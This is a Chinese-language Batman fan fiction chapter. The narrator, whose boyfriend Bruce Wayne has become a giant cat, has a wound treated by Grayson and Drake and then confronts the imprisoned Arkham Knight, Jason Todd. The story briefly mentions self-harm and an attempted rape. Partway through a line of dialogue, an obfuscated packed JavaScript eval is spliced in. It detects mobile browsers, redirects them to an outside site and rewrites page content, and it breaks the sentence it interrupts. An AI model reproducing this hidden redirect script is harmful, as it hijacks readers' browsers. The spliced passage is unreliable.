格雷森听罢有些许怔忡。 在他微妙的沉默里,我被青年的蓝眼珠盯得不太自在,下意识感觉自己又说错了话,不免找补,“可能对你们义警来说这种场面是司空见惯了,但我一个肩不能提手不能扛的普通人……多少……还是挺拼命的……” 说到最后,一股莫名的害臊拉扯着舌头,我闭紧嘴不再多言,开始奇怪于心里怎么会有这样的念头。 从头到尾,这事都是我自己揽下的,没人逼我出去,阿福先生还想阻止我,现下却说得好像我做了多了不起的事,应该得到很大的褒奖。 余光里的影子笼罩下来,我抬起头,接住格雷森下坠的视线。他拿了药膏和工具,浓黑的眉毛舒展着,并不因我的要求而感到排斥: “是,我刚刚之所以过来,也是为了和你道谢,我知道昨天的情况有多凶险。” “即使是因着布鲁斯的缘故,你也照顾我们颇多,远远超过了一般人会做的,”他用中文念了我的名,似是特意练习过,发音标准,轻而柔,“单纯的感谢反而生疏,我多少也纠结过要怎么和你谈起这些……” 趁着他停顿的间隙,我局促地赶紧插言,声调都快破了音:“那什么……!没、没必要这么正式,吧?我又不是为了得到什么交往许可才干这干那的!” 我真怕格雷森下一句就说什么看在你救了我弟弟的份上就把我爸许配给你……虽然也不是不行,我喜欢那种能感觉到恋人完全属于我的瞬间——但果然还是太肉麻太奇怪了! “……那我先帮你把麻药打了。” “好吧……” 被我这么一打岔,格雷森一直到我拆开绷带露出伤口都没说话,面部肌肉绷得紧,乃至染上几分冷硬。我当然会把自残搞出来的旧伤严严实实地藏好,因此也不怕他多瞟。 实话实说,我还挺佩服他不会移开视线的,反复崩裂的血肉连我自己看了都觉得恶心。 但很快我便没那么多精力想些有的没的了。 “你的肩膀昨晚就裂开了吧。” 又是称述句。 我全身心盯着那根即将没入皮肤的针管,嘴比脑子快:“不知道,回房实在太困就没拆开看。” 格雷森戴着医用手套,稳稳把小半管药水推进我的身体里,随后把一次性针头拆下来丢进垃圾袋。在这期间他只睨了我两眼,可目光中的情绪我再熟稔不过。 “她没法照顾好自己”、“她需要有个人为她着想”、“我可以承担起照顾她的责任”——通常任由类似的怜惜发展到最后,这样的男人就会成为我的男朋友。 有时候我也能从布鲁斯那解读出这样的意思来。 不等我揪着这点细想,青年抬手一指,语调凉凉:“杰森的手艺再好也经不起你折腾,这里估计会留个很不好看的疤。” “啊?!”听他这么说,我即刻把刚刚看到的抛到了九霄云外,“没那么严重吧?戈登还说要给我推荐祛疤膏的。” 见我眼巴巴盯着,格雷森半是无语半是好笑:“你要是在意这个不如多爱惜点身体呢?” “……”我不知道该怎么和他解释我对疤痕的理解,“其实真要留我也可以接受,毕竟骑士对我的关系网了如指掌。但你想,万一在夏天被某个不知道身份的敌人开了一枪,或者制服破损被对方记住哪留了疤,那白天相遇光凭裸/露的伤口位置就容易引起怀疑吧?” “‘我之前也给某某在相同位置留下了伤’,‘我看见过某某也有类似的疤痕’,如果敌人有疑心病的话这不就顺藤摸瓜地查过来了,到时候又多出麻烦事一件。” 真心实意的烦恼换来面前人小半晌没说话,神色几度变化,最后还是定格在“你说得好像有那么些道理但是我依旧不太赞同”上。 “我的本意不是——唉,”为了不弄脏手套,他虚虚扶了下额,“你想到这些,是做好以后要和我们一起出任务的准备?” 听不出拒绝或期待,担心却是从句缝里满溢而出。我开始好奇自己在格雷森那的印象,总感觉是什么易碎品。 “不,当义警太麻烦了,我也做不到为了他人的安危去努力……麻醉是不是已经起效了?” 听我这么说,青年谨慎地按了按伤口周围的皮肤,确定没问题后才拿起镊子和剪刀去拆松开的线。他做起这些来得心应手,完全不耽误和我聊天: “你已经做过好几回英雄了。” 这个名词令我浑身不自在,仿佛被人塞进小几号的裙子里,需要紧紧控制住身上每一块肉别把它撑坏。 我蓦然意识到格雷森好像对我产生了点误会。 诚然从结果上看,我的确干了几件好事,但只有我自己知道这么做纯粹是为了不让布鲁斯伤心。 更别提昨晚,若不是判断大猫极有可能围着绑着炸弹的儿子不上来,我说什么都不会直接冲进地下室的。 格雷森的看法可能也代表着韦恩家对我的普遍印象,那么在与布鲁斯交往期间维持这个误会的利大于弊,我该默认了才是。 “…………” “当我们的同僚有这么难受吗?”青年的嗓音把我从分散的心神扯回他身上,他在我肩上穿针引线,像是在绣一朵花,“我还以为超级英雄多少也算受人欢迎呢。” “……义警越多,只能证明当地的公信力系统垮塌得厉害,”我不预备和他说我先前真正纠结的是什么,“不过你们这也有你们的难处。” “你的家乡也驻扎着正义联盟的成员,说得好像他们不存在于你的生活里似的。”他微微挑眉。 “我们从小接受的教育是有困难找警察。” 格雷森若有所思,视线里带了点探究——这可能和他体验过的中国生活不太一样,布鲁斯有说过他们一家会在世界各地到处飞。 不过很快他还是投入到了伤口包扎的工作里,我有意岔开话题,聊起德雷克的身体状况还有些别的事情。青年花了五分钟还我一个被处理得妥妥帖帖的肩膀,整个过程高效又简洁,随即便出去拖来两个椅子,并排放置到浴缸旁示意我躺下。 我没想到他是来真的,略带迟疑地坐上去:“呃……这么使唤你是不是不太好?” “那你会放弃吗?”格雷森眼睛不抬,拿着花洒试水温。 这是必不可能的。 就连刚刚那句谦辞都是想缓解一下陌生异性即将用手指碰上头皮的不适感,仅此而已。 从我的沉默里读出答案,青年失笑着摇头,捞起浴缸里蜿蜒流淌的黑发,非常有耐心地一点点打湿它。 现在他脱掉手套,我可以很清晰地阅读那双麦色的手掌,注意到他两只手的手心都有一块地方比旁边更深,指关节内侧估计是常用卡里棍的缘故,也结了层厚厚的茧。 如此对比,布鲁斯和德雷克似乎还有定期把茧子磨薄的习惯,是因为这么做更符合他们对外展示的精英人设吗? 正思忖着,浴室虚掩的门迎来了有节奏的“叩叩”声,随即两颗猫头便挤了进来。 动物们嗅闻着空气里的水分,难得露出些嫌恶,喵嗷两声又缩回门外。 真是说曹操曹操到。 德雷克的声线在它们之后响起,先是我的名,而后叫他的哥哥迪克:“……介意我进来吗?” 我已经躺下了,一时半会儿压根起不来,还是格雷森应了声稍等,褪下身上的开襟毛衣盖在我腿上,而后才放年轻人踏进浴室。 我的视野里很快出现德雷克贴着退烧贴的脸,他和哥哥一左一右,抬手和我打了个招呼:“你不是前天才在阳台晾了几小时头发吗?” 他的房间离我的很近,知晓这点并不奇怪。 “你昨天挂我身上的时候蹭了好多汗和眼泪,”我把语言系统切换回英语,没好气地大翻白眼,“你是不是用完我就忘?” 德雷克狠噎了一下,连着脖子都有点泛红,多少令我联想到昨天他虚弱到湿润的蓝眼睛——还是那样比较顺眼。 大概是觉得自己中毒后的表现有些丢脸,他没吭声。 “咳……这样吧,提姆来帮忙搭把手,”格雷森插在中间打圆场,见我没有反对,继续问了些别的,“你药物反应检查过了?还有毒素残留吗?” 他们俩在我头顶交流上了,哥哥把起泡网递给弟弟,很快洗发液就膨胀成了洁白的云,停留在德雷克的掌心。我左思右想都憋不出拒绝的理由,两个人当然比一个人干活快,只是躺在那的我好像砧板上的鱼,不自在得想扑腾。 这种坐立难安在两个人的手指深入发根后更加明显,犹如一阵火从发丝舔上耳后,我在表情完全不受控前急忙捂住脸,剩下的那只左手都快把格雷森的毛衣抠出个洞了。 “是水温太高了?” “也可能是你手上的茧子扯到她头发了。” 视野受限,声音的差别便更为明显。我把手指拉开一条缝偷瞄出去,一面瓮声瓮气:“你们俩像在给我挠痒。” 甫一睁眼,就见两双蓝眼珠直直凝在脸上,我猛地吸了口气 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我正坐在梳妆台上拿精油梳和头发做斗争,忽地听人发问:“这些我能看看吗?” 青年虚指着放在床尾的一沓,那些原是放在椅子上的,估计是格雷森之前搬动时顺手挪了位置。 “好呀。”能被我随手乱摆的草稿都不是什么重要的,这一周我大部分精力还是放在后勤工作上,要交的稿没画几张,倒是经常压榨睡觉时间去给自己的漫画添砖加瓦。 “我的中文写得挺潦草的,没关系吗?” 他摇摇头,眼睛已经黏在了纸上。想了想,我还是从梳妆台上下来,在铺陈的纸张间找到完成度最高的一叠,放到他腿上。 德雷克的视线扫过它们,最后定格在我脸上:“……你有出版过别的漫画吗?自己编剧的那种。” “没有……?”好像大学休学的时候倒是把小故事整理成册过,我依稀记得那是个披着悬疑皮的爱情短篇,“你随便看看吧,我正好连衣服一起换了。” 其实我以为他会和格雷森一起走的,但仅是德雷克在这也没让我觉得尴尬,如此看来,我和他的相性真是不错。 我带着梳子,又去衣柜里拿了件连身裙一并带进浴室。布鲁斯虽然不怎么讲究自己穿什么衣服,给我挑的倒都是我会喜欢但不怎么穿的风格。 贝母色的长裙由帝政风改良从简,自带胸垫,穿脱都十分方便。镜中人未施粉黛,看起来更像是个被困在古宅里的幽灵,我纠结着还是没带眼镜,用发箍把蓬松的碎发捋至脑后,又抹了层素颜霜,多少是瞧着精神了些。 再拧开门把手时,床沿的青年已然翻完了那些纸,我有点想问他对此的感想,可只是没头没尾的涂鸦也看不出什么内容,遂开口提起另一件事: “说起来,你刚刚过来找我是有什么问题吗?例行的身体检查?” 由于日常和两猫接触过多,我和阿福先生基本上每天都要验血看看有没有中招,到目前为止结果都是安全的。 许是还没适应我这种不出门也要打扮一下的风格,德雷克定定望了我几秒,随后才低头看猫:“算是吧……你昨天虽没有直接吸入毒素,但也在毒气室待了将近半分钟,我担心你的身体素质没法代谢完全。” 说白了还是觉得我太菜——哪怕我和这一家人比起来确实不怎么爱锻炼体力也最差,但总没有虚弱到要人特意来问问的程度吧。 在这点上,他们比我爸妈还要上心不少,以前我骑车被撞后好几个月我妈才后知后觉地意识到,原来我当时走路一瘸一拐不是玩手机玩的。 “多操心容易变成小老头,我这不是好好的吗?” 止疼药起效我又觉得自己行了,拿上床头柜上的三明治,撕开保鲜膜咬了一小口。 德雷克的语气不辨喜怒:“的确,听你和迪克聊天的时候还挺精神的,应该没有感冒。” 我觉察出他兴致不高,也坐到床边,撩起头发靠在大猫背上。两只猫早嗅过三明治的味道,此时却也对我拿在手里的食物表现出了兴趣,大的那只闻了闻又趴回去睡了,小的伸了个懒腰,跨过老爸的背过来扒拉两爪子。 “不过我今天做了噩梦,刚醒过来的时候还挺难受的,和你们聊过天后好多了,”我把三明治拿远,一边向德雷克坦白,目光平视那双浅色的漂亮虹膜,“你昨晚肯定比这严重得多,还有力气提醒我切断信号,真了不起。” 没人不爱听好话。 面前人虽是习惯了从危急中逃出生天,但仍是撇过脸,唇角勾了勾:“你的反应也很快,亏得布莱恩用不了我的腰带就直接丢弃在原地,不然想要出去还得费一番功夫。” 看出我单手不便赶猫走,青年靠近了些,揪住小猫的后颈皮把他塞进大猫的爪子底下,被猫老爸顺势压着舔起毛来。 稻草人是叫这个名字吗?我没记住,重点也不在这上面:“如果他拿走你的腰带,那我只能用凝胶炸弹去试试炸门了,不过稻草人能在密室里躲那么久,指不定房门也是特制的。” “正确的猜测,那间毒气室用铅和合金做过特殊处理,甚至防得住超人的透视……典型的莱克斯工业手笔。” 说到最后,德雷克的口吻透出些许讽刺,但在发现我一脸迷茫后,他转而无奈地补充,“就是那个用‘失败者’当姓的光头前总统。” “啊,”这回我有点印象了,“怪不得戈登去了大都会,就是要揪他小辫子——也没有辫子能揪呢。” “我已经把昨晚的事告诉了芭芭拉,卢瑟有私人的建筑队,从材料源入手有概率能一路顺藤摸瓜找到他和企鹅人他们合作的证据。” 似是觉得我吐槽敌人的头发很有趣,青年是笑着说出这番话的。 他估计得很保守,我又对那个政客兼商人不甚了解,便没有再发表什么评论,而是问了些别的:“格雷森说目前市政府把医院附近一整片都划成了隔离区,正义联盟也派人来帮了忙——那个超人没有找到稻草人吗?” “蓝大个的重心放在民众救援和建立防线上,而且如果这事有卢瑟参与进来,普通的搜寻肯定不足以定位克莱恩……”说着,德雷克轻轻叹气,“在和他交锋的时候我往他衣服里塞了颗定位器,不过很快信号源就被掐断了。” 被他传染,我也跟着叹气:“……真麻烦啊。” 房间里一时只剩下我小口咀嚼食物的声音。 “我们总会找到其他角度突破难关的,你今天就好好休息吧,”看着我吃完最后一口三明治,青年收走了我用来盛住碎屑的盘子,起身放到托盘里,“刚才坐下来都重心不稳。” “再睡回笼觉我肯定又要做噩梦,”我摇头,拍了拍大猫牌靠背,对方打了个哈欠,放过了满头口水的小儿子,凑过来给我当拐杖,“下面不是还有个现成的突破口吗,去问问?” 德雷克皱起眉,却也没阻止我挪到猫背上,仿佛是妥协一般;“骑士拒绝和我们任何人交流,也只有阿福给他送了点吃的。” “那我就去嘲讽他一通,然后接着练习我的缝针技术。” “……你只是想笑他栽了个大跟头。” “没错!”我理直气壮,顺便收拾了些稿纸揣在怀里,“本来昨天回来的时候就该去的,但还是照顾你更重要点。” 身侧的人没再多言,我抽空飞去一眼,青年正拿着托盘,单手捂住了下半张脸。 他的黑发长长了没剪,略红的耳廓在其中若隐若现。 不就是中毒后难以自理还说了点胡话,值得他介怀到现在吗? 好奇心顺势冒出头,我打了个响指唤回德雷克的注意力:“我还没问呢,在你的幻觉里我是什么样的?” 片刻的犹豫后,他放下了手: “蛇,巨大而冰冷,有时候会忽然坍塌成斑斓的毒蛇堆,游过来绞住我的脖子。” 我想象了一下那个画面,抖落一身鸡皮疙瘩:“那还真是难为你没遵循本能掐我七寸。” “你不是……最恐怖的那一个,”德雷克垂着眼睑,手指在托盘上摩挲,“走一步喘三次的蛇的确没什么杀伤性。” “我当你是在谢谢我的救命之恩了,”被他冷不丁的毒舌刺到痛点,我翻了个白眼,“下次就该把你哭着求我的样子录下来,嘴硬的小鸟最不讨喜。” “……我没那么做过,最多是受刺激时分泌了一些生理盐水。” “嗯嗯,你说得都对,你爸毛都被你哭湿一片回来舔了半小时呢。”我拍拍猫背,大猫自发往门口走去。 德雷克咬着牙跟上来,离近了还被忽然窜过来的猫弟弟绊了一下:“那是冷汗。” “啊对对对。” “你在故意挤兑我。” “哇,真是聪明的鸟宝宝,这都被你发现了。” “……” 小猫发出了打喷嚏似的嗤嗤声,好像也在嘲笑哥哥此刻的窘迫。 20.20 “呵。” 蝙蝠洞用来收押囚犯的地方藏在山壁之间的夹缝处,经过加固处理的透明墙体可以将囚室一览无遗,同样的,也令其中胡子拉碴的青年一眼就锁定了我。 随后,他视线下移,和沉默盯着他的猫科动物对视了几秒。 “你该去迪士尼碰碰运气,长发公主,”坐在狭窄的金属床上,骑士轻嗤一声,“说不定他们会让你当回女主角。” 身下的大猫始终机警地竖着耳朵,背脊连带尾巴都是硬邦邦的;而小的那只对和我们一起来看囚犯毫无兴趣,此刻正在下面的虚拟训练台玩得不亦乐乎;德雷克则对着蝙蝠电脑敲敲打打,但我知道他在注意囚室的监控——收回后望的视线,我依旧保持着恰到好处的沉默。 得不到答复,青年往墙上一靠,结实的胸肌在手臂交叠的挤压下更为突出。他的盔甲已被缴械,身上穿的大概是格雷森的T恤和长裤,稍微有些短,露出的部位缠满了纱布。 要我说这家人还是太好心了,给这人留什么衣服,光着更好。 伴着我目不转睛的打量,骑士的眉头越蹙越紧,很少有人能习惯这种被当成静物仔细观摩的感觉,尤其是男性。 我得到了他隐含怒气的讥讽: “看够了就换个地方和你的猫玩人兽恋去,别在我面前碍眼。” 想要激怒别人,最重要的是找到她的痛点——我的确因此而感到了些许刺痛,于是便不加掩饰地表达出来。 但不是通过发怒,而是收起笑容,摆出一副受伤的姿态。 骑士轻易读懂了我的表情变化,他死死抿着唇,包在眉弓下的一双眼瞪过来,锐气逼人。似是要与空气中微妙的沉寂对抗到底。 小半晌,他猛地抓了抓头发,低声警告的模样又让我联想到面对威胁的大狗:“装可怜这套对我行不通,你到底是来干嘛的?” 确认在他面前示弱依旧有用后,我换上好脸色,扣住透明玻璃上的孔洞起了身。 “你不是看过我的速写本吗,”说着,我把怀里那沓稿纸塞到放置餐盘的小型装置里,“里面有个新角色是受到了你的启发,我这几天完善了一下,想让你看看。” 他把上半身支起来,防御似的抱臂没有卸下。稿纸被送进囚室,青年没有急着去拿:“…………你不是来看我笑话的?” 看来之前的接触已经让他对我的本性有所了解,我承认得也很爽快:“看笑话占百分之三十吧,”其实应该连百分之十都不到,“主要还是为了让你读我的剧本。”这一句是真的,但也是为了掩饰我另有目的。 我的“实话”令他不爽,骑士臭着脸,目光在我和身后的猫之间来回逡巡,最终站起身,来到玻璃前拿起了稿纸。 “中文?” 没抬眼,他咋舌道,额前的白发跟着乱翘。 “这点阅读量对你来说应该没问题,”隔着加固玻璃,来自异性的威胁性下降了不少,我很放松地笑了笑,“十四岁你就会翻墙过来看论坛上的连载,现在总不至于退步那么多?” 话音未落,瞳仁紧缩的蓝绿色眼睛便死死锁住了我的面孔——青年惊疑不定,这是个好反应,意味着他在我这更像杰森·陶德了。 我神色未变,看着他捏着纸张的手指缓慢变白。骑士很快找到了他自认为合理的解释,有时候——我会觉得他的攻击性其实是他的保护色:“……老头子真是慷慨,带进坟墓里的那点子事都要告诉你。” “你的记性比我还差,”垂下眼睑,我望向我的猫,他很安静,坐在那像一尊巴斯特雕塑,只用偏转的耳朵提示着我他在倾听,“我都记得你给我的小说留过言,骂我不写完上一本就别开新坑,但是每次我开新文你都会来看。” 这回骑士明显怔忡在原地。 等我掀起眼皮说出他在那个国内论坛的ID时,青年面颊猛然一抽,夹带着对年少起名口无遮拦的羞耻,还有深深的茫然。我不指望他能想起八年前的生活小插曲,毕竟连我自己都是这星期在男友电脑里翻出来的,得亏这么长时间论坛还在坚持运营。 从看见旧网址和账号的那一刻起,我就意识到这可以作为下次我和骑士聊天的破冰点。 当然,用不好也可能会变成超级大地雷,一爆即死。 “你还看不看了?” 丝毫没有多说的意思,我皱着眉指他的手,“你快把我的草稿纸捏碎了。” 对方粗粝的手指瞬间松开又攥紧,我们对视了足足四五秒,大抵是他在判断我说的究竟是道听途说,还是亲身经历。最终骑士还是低下头去,他看了大概五行字,仍是按捺不住开了口。 他提及的是我在论坛上的笔名。 好吧,这真的超乎了我的意料——简直就和走在大街上听见面基的网友大声叫你网名没什么两样。我本能地看了眼头顶的监控,有点恼羞成怒:“你偏要说出来吗?” 骑士脸上的笑容证明着他的故意为之,显然是对我先前的报复,小肚鸡肠的男人! 在我的瞪视里,青年施施然又翻了一张纸,状似不经意问道:“怎么发现是我的,即使是蝙蝠电脑里的档案也不会说我初学中文时爱逛哪个网站。” 会不会变成地雷就看这一句后怎么圆回来了。 “我在男朋友的浏览器收藏夹里找到的。” 刚刚浮现在他眼里的松快消失得无影无踪,我虽不意外,却仍在心里叹了口气。这种感觉如同训犬,越是烈性越要反复拉扯,哪怕刚刚丢给他爱吃的肉骨头,下一秒对方也会因为护食而朝人龇起尖牙。 “哼。” 青年用语气词充当回复,左脸疤痕因咬肌的绷紧而游动起来。他的伤疤触及唇角,仿佛是当初有人要在他脸上刻下永恒的笑颜,结果因意外只划了歪歪扭扭的半边。 “先是阿福再是你……感情牌打得开心吗?我是不是该配合你的演出流上几滴眼泪,然后和那个世界第一虚伪的侦探大人——噢,现在是猫——和好如初?” 后半句他是对着我身旁说的。即使听不懂人言,大猫亦能辨别出杀意,他弓起背脊,不甘示弱地绕到我身前,蓬松的尾巴几乎将我整个人环进保护圈,若是没有玻璃阻隔,猫恐怕下一秒就会扑过去撕咬猎物。 “瞧瞧,现在倒是那天坦诚多了,我对于你们来说可是个威胁,而不是他蝙蝠侠假惺惺说要提供帮助,上手了揍得比谁都狠!” 动物的主动维护彻底激怒了这个曾经的家庭成员、如今的复仇使者。稿纸被摔在玻璃墙上,雪花般散落一地,我微微吸了口气,想要开口叫住头也不回往里走的骑士,腰间的尾巴却是越收越紧,猫不允许我踏出他身后半步,仿佛我才是什么需要谨慎呵护的小宠物。 青年把自己扔回床上,双手撑着床沿,口吻讥讽又嘲弄,“我想你应该不知道,他进阿卡姆第一件事就是朝我脸上来一拳,那才是他的真面目,他恨我,毕竟我的存在永远会提醒他有多失败,我会毁了他现在拥有的一切!” 微妙的窒息感堵塞咽喉,我的腰很不舒服,猫好像完全忘记了身后的保护对象有多孱弱,他执拗地绞紧尾巴,比起保护更像是对眼前的骑士产生了应激反应。 而囚犯只是用冷冰冰的视线看戏。 “布鲁斯……” 没反应。连耳朵都没动。 “布鲁斯。” 我的耐心渐渐告罄。 耳畔传来逐渐加快的脚步声,我意识到那是德雷克看情况不对上了楼梯,终于在第三次开口时沉了脸:“布鲁斯·韦恩,给我松开!” 只要压低眉毛,让眼睑多遮住一些虹膜,我的表情就可以变得相当有压迫感。大猫回过了头,竖瞳没有放松,一双毛毛耳朵倒是藏得严严实实,看起来像只黑色的海豹。 我没管他委委屈屈的挪步,在尾巴松开的同时抬手撑住墙面,喘了口气,对靠近的德雷克提出要求: “把牢房门打开,让我进去跟他谈。” “不行!” 几乎没有思考,德雷克脱口而出就是拒绝。不止是他,连牢房里的骑士也面露惊诧,眼瞳闪烁着不安定的反光。 这样的答复理所应当,我却反手抓住德雷克伸过来想要扶我的臂膀,定定直视他:“如果你是担心骑士越狱,他伤得比你还重,这里两只猫足够有威胁性——” “我是担心你!” 德雷克很少会直接打断别人的发言,我没时间细想他为什么生气,更用力地收拢手指:“陶德不会这么做。” “……我才朝你开过一枪。” 好像还嫌弟弟脸色不够差,囚犯凉凉开口,语气却辩不出喜怒,“你现在还能全须全尾站在这,全靠子弹偏了几厘米。” “你听到他说的了。” 我身旁的青年极力压抑着火气,他从头至尾都没去看抓回来的阿卡姆骑士,浅淡的眼眸凝着一层冰,“他不值得你这么做,仅仅一星期他杀死的人就填满了警局停尸间,杰森·陶德跟我们不是一路人。” 话音刚落,囚室里便传来一声冷嗤,骑士没有反驳,眼不见为净般合拢眼睫——而如同在应和自己的门生,大猫轻叫一声,耳朵也从脑袋后面慢慢支起来。 在场一共三人一猫,除了我自己以外全是反对派。我深知此刻不能由着性子直接骂人,支撑德雷克行动逻辑的是理性,只要我拿出足够的……足够的…… 动物的眼神搅得我心烦意乱。 “别这么盯着我,布鲁斯,要你现在还是人我肯定不吝啬给你一巴掌。” 猫猫海豹再次出炉,当我的目光移到德雷克脸上,他转了转被我握着的手腕,神色谨慎,仿佛怕我下一个扇的就是他。 作为陶德位置的继任者,红罗宾已经被骑士针对过一回,可以说昨天他之所以落得个被绑起来的下场,也是因为二哥才送了他骨裂加上脑震荡的豪华套餐。 看在他脑门上退烧贴的份上,我都不可能动手的。杰森·陶德的问题从来都不是这几个养子的错,该负起责任的家伙现在连句人话都说不了。 “如果陶德真的这么无可救药,他知道蝙蝠洞在哪,为什么不直接把整个韦恩庄园炸上天?” 德雷克避开了我的视线。 我不信他没有想过这个问题,只是为了打消我进去的念头刻意没有谈及罢了。 再斜睨里面闭目的青年,他睁眼的瞬间被我抓了包,睫毛微微颤动着,一副不和我做对不舒坦的气势:“这可是老头子的老巢,我是疯了才会这么干。” “真的吗?” 短短一个词,骑士又闭嘴不言。 “蝙蝠洞确实每年都有翻新安保系统,但是基建图纸的权限每任罗宾都有,换我站在你的立场,最先考虑的肯定是入侵这里,或者挑个合适的时机曝光蝙蝠侠的身份,都是不用费什么力气就能给敌人添大麻烦的方式。” 说着,我的视线和大猫撞上,他仍有些垂头丧气的,尾巴紧紧贴着后腿,不禁令我生出两分内疚。 “……还是说,你不想把潘尼沃斯先生牵扯进来?” 正事要紧,待会儿再去哄哄猫吧。 囚犯仍选择三缄其口,这本身就代表了一种态度。 其实我的说法并不完美,要想绕过阿福先生进来捣乱对于杰森·陶德本人来说并非难事。骑士之所以选择了最麻烦的正面对抗,或许是由于他对蝙蝠侠复杂的感情,但这里我需要的只是他的态度——一个足以偷换德雷克概念的态度。 抓握住的腕部肌肉不再像之前那么紧绷,囚犯的沉默被德雷克看在眼里,于是再次四目相对时,他略有松动。 喜悦刚从心中冒头,我又见他抿了抿唇,仿佛被另一种顾虑困扰,使力反扣住我的小臂:“阿福照顾了他好几年,你没有。” “……” 果然还是骗不过去。 我没有气馁,而是将手指松开。德雷克停顿片刻,许是以为我想要放弃进牢房的念头,便也放开了桎梏。 “走吧,”年轻人侧过身,面对着楼梯,“你不是要练习你的缝针技术吗?过会儿阿福会送晚餐下来。” 猫也顺势叫了一声,小心地凑到我身旁,庞大的躯壳遮蔽了我望向牢房的视野。 轻轻吐出一口浊气,我依旧想最后尝试一次。阿卡姆骑士作为稻草人的前“队友”,他一定知道我们所不知的细节,利用他绝对能打破目前的僵局,我不想再这么干巴巴地等着实验室给出什么新进展了。 稻草人的新毒素既然能催化诱变病毒,想必他们那也可能会有其他线索,我必须拿到它,这样才能加快疫苗的研制速度。 首先,我得让囚犯愿意和我合作。 这才是今天连晚饭都不去帮老管家的忙,反而要进蝙蝠洞的原因。 我抬手抚摸着大猫的背,他的皮毛温暖而柔顺,我却在这一刻思念起和男友牵手时的触感,我多想再次和他十指相扣。 “最后一个问题,德雷克,说完我就走人。” 得到对方无奈的无声妥协,我拍拍猫,把他揽到另一边去,空出的视野里骑士抬了头,面上却没有不耐烦。 “还想用你的银舌头编点什么?” “你说蝙蝠侠进阿卡姆的牢房就给了你一拳,我不怀疑这点的真实性,”我始终把手搭在动物的后颈上,语气维持平静,“但记录显示他那天先去挖了你的坟墓——面对一个极有可能是自己儿子的人,蝙蝠侠即使在嫌恶罪犯也不可能直接动手……你隐瞒了一部分真相,我想你知道我在指哪件事。” 囚犯捏着床沿的双手顿时攥得发青。 他不再看向我的脸,双眼黏在空白的地板上,这点反常被德雷克捕捉得一清二楚,他眉心一跳:“是你在酒吧被绑架的那一晚……” 所以我才说德雷克太敏锐,要论在那之前骑士干的好事,唯一能激得蝙蝠侠气成那样的也只有把我这个无辜者牵连进他们的对决。见他沉默,我把手伸进猫咪暖和的毛里,这才有继续补充完整的决心。 “嗯,布鲁斯当然不会和你们提细节,更何况他的确晚到了几分钟,但不妨碍受害者自己坦白,”莫名其妙地,我展颜微笑,“如果不是当时的腰带足有三层,我又找到机会拿了绑匪的小刀,估计不用等蝙蝠侠来他连视频都拍完上传到p站了。” 我听见了微弱的吸气声。 “而你,算错了人心和时间的操盘手陶德,我们的下一次见面你仍然选择要杀我,你更坚信我对变异动物的控制能力,反正也只是强/奸/未/遂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459424|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而我若是个坏人你就不必再套上道德的枷锁。从头到尾我都被你视作一个踏板,离间我能让蝙蝠侠痛苦,假如我是个恶人就更证明了蝙蝠侠不分好赖——结果我意外颠覆了你心中所想,所以你用杀人代替了道歉,这样做总算能让你心里好受点了,是不是?” 长串的英文翻译起来实在费劲,我说了几句就切回母语,反正在场两个人都能听得懂。 囚室惨白的灯光下,犯人的面色亦如若金纸,他似乎迫不及待就想作出答复,嘴唇翕张后却只吐出无力的几个字: “……我从没那么想,我…………” “德雷克,你看到了,”我把手从猫身上拿下来,探头望向另一边的青年,“这就是他不会再杀我的原因。” 德雷克的神色过于复杂,我依稀分辨出了些怒意。他们两个人类都不说话,大猫却用脑袋柔柔蹭我,兽类的虹膜清澈倒映出我的剪影。 我再次希望他的猫脑子记不住这些糟糕的东西。 别看我的男朋友面上冷淡,他比我更容易伤心,即使我重复很多次自己的确感知不到更多情绪也无济于事。 谈话进行到这里,我感觉德雷克不放我进去也可以。骑士的悔意已被勾起,从他在蝙蝠电脑里留下的记录和我的接触下来的情况综合判断,这份因失误而存在的愧疚会软化他的态度,我只需任其发酵,再在适当的时候采摘其结果。 “你要是想进去锤他泄愤……我会帮忙。” 思忖间,德雷克略显干涩的嗓音把我抓回现实。 他的小心翼翼令我摇头失笑:“我确实想扇他一巴掌,但这样只会减轻陶德心里的负担,为什么要这么便宜他?” 说这话我也不避讳人,骑士垂着头,让人担心他那个手劲会不会把床板掰弯。 “那你……”聪明的德雷克在停顿时想通了我的目的,眉头蹙得更紧,“你真是……” 他没有就着这个开头再说下去。 “陶德,你不愿和‘蝙蝠侠派’打交道,我理解,”我虽好奇他为什么面色依然微妙得很,不过仍是专注于撬开骑士的口,“我们会离开,但我希望你能在潘尼沃斯先生送饭时把我的稿纸整理好,它们不该被迁怒。” 囚犯这回以微小的幅度侧了侧头。 “那就这样,我会再来询问你感想的。” 推了把还待在原地的德雷克,我在大猫的匍匐里坐上他的背——以我肌肉的拉伤程度,下楼梯绝对是酷刑——然后一手拽住人往楼下走。 远离透明囚笼,德雷克才慢慢开了口:“你从一开始就是抱着让阿卡姆骑士能为我们所用的目的去套他的话。” “是,”这点不需要遮掩,我双手扶着猫,心觉还是有项圈更方便,“但他很难搞,我没什么把握。” “向我要权限浏览罗宾的记录也是未雨绸缪?” 言语间,我和他已经踏上了蝙蝠电脑所在的主平台,小猫玩累了,挤在屏幕和键盘的缝隙里假寐。我把自己丢进椅子里,没负担的大只佬立刻抖动浑身长毛,伸了个懒腰: “既然决定留下来帮忙,了解自己人和敌人都是很重要的一环吧。” 我抓过桌上的钢梳,左手拍了拍腿,大猫胡须动了动,还是趴过来接受我代表抱歉的顺毛。 德雷克慢我两步,闻言也没有坐回电脑前,反而拿过另一把梳子,蹲下身和我一起打理起来。猫爸爸也不反感多一个人伺候,眯眼的模样很是享受,和方才应激般凶厉的动物判若两猫。 见状,我多少是放下心来。 “我插入你们的对峙算帮了倒忙,下次即使没有太高的成功率,也可以和我说一声的。” 青年的嗓音底色不怎么高,俯视的角度显得他睫毛纤长,却遮住了那双眼睛,我看不太出德雷克是不是对我的做法有意见,回答便也拘谨: “不好意思,我……” 